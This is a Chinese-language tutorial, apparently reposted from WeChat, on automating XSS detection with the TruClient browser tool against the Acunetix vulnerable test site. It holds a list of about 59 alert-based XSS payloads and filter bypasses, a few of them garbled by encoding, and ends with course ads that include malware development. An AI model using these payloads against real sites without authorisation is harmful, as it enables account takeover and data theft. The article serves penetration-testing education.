总结
在本文中,我将解释什么是跨站点脚本 (XSS),但最重要的是,我将向您展示如何自动检测它。这是一项挑战,因为它需要完整的浏览器渲染。
免責聲明
本文仅供参考和教育目的,适用于那些愿意并好奇地了解和学习安全和渗透测试的人。不得将内容用于非法目的。如果您准备好学习新事物,请继续阅读。
详解
跨站点脚本 (XSS) 是一种 Web 安全漏洞,允许攻击者破坏用户与易受攻击的 Web 应用程序的交互。在跨站点脚本攻击中,攻击者将恶意的浏览器端脚本注入受信任的网站。由于脚本在目标网站上运行,因此不会触发同源策略 (SOP) 限制。假设脚本来自受信任的来源,该脚本可以访问存储在受害者浏览器中并由目标网站使用的其他敏感信息。
这允许攻击者规避同源策略,该策略旨在分隔不同的网站。跨站点脚本漏洞通常允许攻击者冒充受害者用户,执行用户可以执行的任何操作,并获取对用户数据的访问权限。如果受害者用户拥有应用程序的特权访问权限,则攻击者可以完全控制所有应用程序功能和数据。
有 3 种类型的 XSS 攻击。这些是:
存储型 XSS:恶意 JavaScript 存储在数据库中,并在调用时显示在服务器响应中。存储的 XSS 示例,它是目标应用程序中的留言簿功能。
反射型 XSS:恶意 JavaScript 不会被存储,但会在服务器响应中显示(反射)。例如,“找不到 file <JavaScript input> 之类的错误消息。
基于 DOM 的:XSS 代码由浏览器在页面的文档对象模型 (DOM) 中执行。漏洞存在于客户端代码中,而不是服务器端代码中。
反射型 XSS 和基于 DOM 的 XSS 严重依赖社会工程。在执行恶意 JavaScript 代码之前,必须首先以某种方式注入它。存储型 XSS 的一大优势是它不依赖于社会工程。恶意代码持久驻留在易受攻击网站的数据库中。
为什么是这篇文章?
大多数动态 XSS 检测工具都关注服务器响应的内容。如果有效负载在相应的服务器响应中返回(反映),则会将其标记为可能的 XSS 漏洞。这种测试方法有两个主要缺点。首先,服务器响应不是由实际浏览器解释的。由于 XSS 是客户端漏洞,因此只有真正的浏览器才能验证有效负载是否有效。其次,这些动态测试工具不会发现任何基于 DOM 的 XSS 漏洞。这是因为对于基于 DOM 的 XSS,有效负载永远不会反映在服务器响应中。虽然可以使用 static code 分析来完成基于 DOM 的 XSS 检测,但必须使用真实浏览器进行验证。为了完全检测和验证 XSS 漏洞,真实的浏览器应该解释有效负载。
此演示使用 Acunetix 测试网站 http://testphp.vulnweb.com/guestbook.php。此网站包含易受 XSS 攻击的留言簿。例如,如果我们添加有效负载 <script>alert(5)</script>,它会生成一个数字为“5”的 JavaScript 弹出窗口。
通过 Burp Suite 代理加载此请求时,不会执行 JavaScript。Burp Suite 的 'render' 选项无法显示 JavaScript 弹出窗口。
OpenText / 微焦点 TruClient
在 “test automation” 的世界中,您可以找到可以模拟真实用户的工具。例如,Selenium WebDriver 可用于浏览器自动化测试。本文介绍了性能测试领域的一种工具:TruClient 工具。
TruClient 是一款功能强大且易于使用的基于浏览器的性能、利用率、自动化和监控测试工具。TruClient 在虚拟用户生成器 (VuGen)、TruClient Lite 和 TruClient Standalone 的多个版本中可用。该工具仅适用于 Microsoft Windows。
本文重点介绍 TruClient 独立版。了解此工具在动态测试 XSS 漏洞方面有多么强大!
设置实验室环境
此 PoC 包括一台 Windows 攻击者计算机和免费的在线测试站点 http://testphp.vulnweb.com/guestbook.php。目标网站的预期用途是作为 Acunetix Web Vulnerability Scanner 的测试和演示站点。
攻击者计算机:
-
Windows 10 专业版 [版本 10.0.19044.3086]
-
安全性:Windows Defender 防病毒检测的默认设置
-
软件:OpenText / Microfocus TruClient。
第 1 部分,在攻击者的机器上安装 TruClient
1. 在 Microfocus 注册一个帐户(自 2024 年 1 月起被 OpenText 购买)
导航到 https://www.microfocus.com/marketplace/appdelivery/signup 并开始注册过程。您必须使用电子邮件地址来确认您的注册。
2. 确认您的注册
现在检查您的电子邮件收件箱(请参阅电子邮件地址步骤 1)并确认您的注册。
3. 下载最新版本的 TruClient 独立版。
导航到
https://www.microfocus.com/marketplace/appdelivery/content/truclient。
点击 [下载]。
4. 开始安装过程。
以本地管理员身份运行安装程序文件 (MF_TruClient_2022.01_Windows.exe)。
在 TruClient 设置的其余部分会出现直观的提示和弹出窗口。我不打算把他们中的一些放在这里,这很容易。
第 2 部分,创建框架脚本
5. 以本地管理员身份启动 TruClient,然后选择脚本类型“Web”。
6. 选择 TruClient 浏览器(其他浏览器可能会阻止 XSS 负载)
将打开两个新窗口,左侧是“开发脚本”窗口,右侧是“TruClient 浏览器”。
TruClient 浏览器将指向默认 URL:
file:///C:/Program%20Files%20(x86)/Micro%20Focus/TruClient/dat/WebTruClientBrowser/extensions/[email protected]/newtab.html
7. TruClient 浏览器:将目标网站的 URL 粘贴到 TruClient 导航栏中(在本演示 http://testphp.vulnweb.com/guestbook.php 中)。不要按 Enter。
我们将在 Acunetix PHP“Guestbook”站点中测试 XSS。
8. 开发脚本窗口:启动脚本录制过程。
9. TruClient 浏览器:按 Enter 键导航到目标网站。
请注意一个新步骤:“Navigating to ...”记录在 Develop(开发)脚本窗口中。
10. TruClient 浏览器:在留言簿文本框内单击并键入字符串 'test'。
11. TruClient 浏览器:点击 [添加消息]
12. 开发脚本窗口:现在停止录制。
13. 开发脚本窗口:重播录制内容。
脚本应重放且没有任何错误。
第 3 部分,自定义 XSS 攻击脚本
接下来,我们将参数化我们的脚本。这意味着将尝试将 XSS 有效负载作为 Guestbook 文本框中的参数值提供。
14. 开发脚本窗口:选择步骤“在您的个人资料文本框中键入测试”,然后单击箭头符号以打开额外选项。
15. 开发脚本窗口:现在单击参数旁边的箭头符号。
16. 开发脚本窗口:将“Typing Interval”(键入间隔)更改为 50 毫秒。
17. 开发脚本窗口:选择字符串 'test' 并右键单击以打开菜单。现在单击 “Create New Parameter From Selection”
18. 开发脚本窗口:在弹出窗口中,键入 'xss_payloads' 并单击 [确定]
19. 开发脚本窗口:现在,单击上方的
以编辑参数
20. 开发脚本窗口:在弹出窗口中,选择参数 'xss_payloads'。
21. 开发脚本窗口:点击 [+ 添加行] 添加您的负载。
现在,我们可以添加 XSS 有效负载。首先,我们将逐个添加一些有效负载。稍后,我们可以尝试添加批量有效负载(参见 提示和技巧 部分)。
现在,我们将使用以下有效负载:
</scrip</script>t><img src =q onerror=alert(1)>
<image src/onerror=alert(2)>
javascript:alert(3)
"onmouseover="alert(4)
<script>alert(5)</script>
提示:在每个有效负载中使用唯一标识符。例如,在 alert() 函数中使用唯一编号,例如 <script>alert(5)</script>。
另外,记下行数。我们稍后需要这些信息,以便我们可以在脚本中添加正确的 'for 循环'。如下面的屏幕截图所示,我们正在处理 6 行。
22. 开发脚本窗口:将更新值更改为“每次发生”,然后单击 [确定]。
23. 开发脚本窗口:按住 Shift 键。现在选择步骤“Click your profile”, “Type xss_payloads ...”和“单击添加消息按钮”
24. 右键单击以打开菜单。单击 Group into > for 循环子句。
25. 开发脚本窗口:现在,将循环迭代次数更改为有效负载的数量,在我们的例子中:6。
26. 开发脚本窗口:最后但并非最不重要的一点是,保存您的脚本!我们将脚本保存在文件夹 C:tempmedium_demo 中。
关键时刻已经到来。我们可以尝试这个简单的 TruClient XSS 脚本。
27. 开发脚本窗口:点击播放按钮。
当我们击中第一个有效载荷时,它是宾果游戏!
重播显示值为 “1” 的警报。这对应于我们的第一个 XSS 有效负载:</scrip</script>t><img src =q onerror=alert(1)>。
如果您想尝试更多负载,您必须自己按下 [确定] 按钮以查找下一个 XSS 检测。我们的下一个检测是警报编号 2,这对应于有效负载 <image src/onerror=alert(2)>。
提示和技巧
在第 21 步,我们手动添加了 XSS 有效负载。这些有效负载条目存储在以下文件<script 文件夹><parameter_name>.dat中。在我们的例子中是 C:Tempmedium_demoxss_payloads.dat。我们可以使用 Notepad 直接编辑此文件并添加更多有效负载,而不是手动输入我们的有效负载。请注意,该工具不喜欢某些字符,例如逗号。您可以通过对逗号字符进行 url 编码 (https://www.urlencoder.org/) 来解决此问题。例如,将逗号替换为 %2C。
您可以使用以下列表来尝试 59 种不同的负载。不要忘记将 for 循环迭代次数更改为 60 (请参阅步骤 25)。
xss_payloads
test
</scrip</script>t><img src =q onerror=alert(1)>
<image src/onerror=alert(2)>
javascript:alert(3)
"onmouseover="alert(4)
<script>alert(5)</script>
<scriptx20type="text/javascript">javascript:alert(06);</script>
<scriptx3Etype="text/javascript">javascript:alert(07);</script>
<scriptx0Dtype="text/javascript">javascript:alert(08);</script>
<scriptx09type="text/javascript">javascript:alert(09);</script>
<scriptx0Ctype="text/javascript">javascript:alert(10);</script>
<scriptx2Ftype="text/javascript">javascript:alert(11);</script>
<scriptx0Atype="text/javascript">javascript:alert(12);</script>
"onmouseover="alert(13)
'`"><x3Cscript>javascript:alert(14)</script>
'`"><x00script>javascript:alert(15)</script>
'-alert(16)}//
\"-alert(17)}//
\'-alert(18)}//
"-alert(19)//
'-alert(20)//
\"-alert(21)//
\'-alert(22)//
test'+alert(23)+'
${alert(24)}
{{$on.constructor('alert(25)')()}}
1&toString().constructor.prototype.charAt%3d[].join;[1]||orderBy:toString().constructor.fromCharCode(120%2C61%2C97%2C108%2C101%2C114%2C116%2C40%2C50%2C54%2C41)=1
"><body onresize=alert(27)>
onfocus=alert(28) tabindex=1>#x
<svg><animatetransform onbegin=alert(29) attributeName=transform>
<svg><animatetransform%20onbegin=alert(30)>
</script><image src/onerror=alert(31)>
http://foo?'-alert(32)-'
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(33)//'>
<IMG SRC="javascript:alert(34);">
IMG SRC=javascript:alert(35)>
<IMG SRC=JaVaScRiPt:alert(36)>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert(37)`>
<a onmouseover="alert(38)">xxs link</a>
<a onmouseover=alert(39)>xxs link</a>
<IMG """><SCRIPT>alert(40)</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(52%2C49))>
<IMG SRC=# onmouseover="alert(42)">
<IMG onmouseover="alert(43)">
<IMG SRC=/ onerror="alert(String.fromCharCode(52%2C54))"></img>
<img src=x onerror="javascript:�
000097lert('XSS')">
<IMG SRC=javascript:alert('XS&#
83;')>
<IMG SRC=javascript:a�
0108ert('XSS')>
<IMG SRC=javascript:alert('XSS'&#x
29>
<IMG SRC="jav ascript:alert(49);">
<IMG SRC="jav	ascript:alert(50);">
<IMG SRC="jav
ascript:alert(51);">
<IMG SRC="jav
ascript:alert(52);">
<IMG SRC="  javascript:alert(53);">
<BODY onload!#$%&()*~+-_.%2C:;?@[/|]^`=alert(54)>
<<SCRIPT>alert(55);//<</SCRIPT>
<IMG SRC="`<javascript:alert>`(56)"
";alert(57);//
</script><script>alert(58);</script>
</TITLE><SCRIPT>alert(59);</SCRIPT>
缓解建议。
一般来说,有效预防 XSS 漏洞可能需要以下对策的组合:
·到达时过滤输入。当用户输入时,根据预期或有效的输入尽可能紧密地对其进行筛选。
·在输出时对数据进行编码。对在 HTTP 响应中打印用户可控数据的输出进行编码,以便它不会被解释为活动内容。
引用
https://portswigger.net/web-security/cross-site-scripting
https://community.microfocus.com/devops-cloud/lr-professional/f/discussions/322652/is-truclient-standalone-free
linux恶意软件开发对抗与进程安全管理视频教程
其它课程
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
windows恶意软件开发与对抗视频教程
-
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
更多详细内容添加作者微信
-
-
原文始发于微信公众号(安全狗的自我修养):使用真实的浏览器渲染自动执行 XSS 测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论